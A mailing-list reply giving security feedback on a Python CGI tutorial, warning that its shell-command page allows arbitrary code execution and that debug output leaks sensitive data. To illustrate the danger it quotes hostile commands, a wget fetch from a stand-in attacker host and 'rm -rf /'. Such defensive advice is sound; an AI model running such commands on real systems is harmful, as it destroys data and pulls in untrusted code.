CGI Tutorial

[Tim Chase]

>> I'm just building a Python CGI Tutorial and would appreciate any
>> feedback from the many experts in this list.
> 
> http://webpython.codepoint.net


Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...allowing any ol' schmoe to run 
arbitrary code on your server.  At the barest of minimums, I'd 
plaster the code with warnings that this is a Very Dangerous 
Thing(tm) to do.  Preferably, one would want to have fixed sets 
of commands, something like

install_django = 'curl...'
if command=='install_django': sub.Popen(install_django, ...)

so that only trusted code is run, not arbitrary things like

'wget -r http://evil.example.com'

or

'rm -rf /'

which would just be bad.

Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially 
sensitive information (passwords, internal file-structure, etc), 
and thus should only be used while debugging, and turned off in 
any sort of production code.

The section on single vs. multiple field names was pretty good at 
giving a nice overview that there are *two* scenarios one might 
encounter.

Just a little feedback, whether from an expert or otherwise. :)

-tkc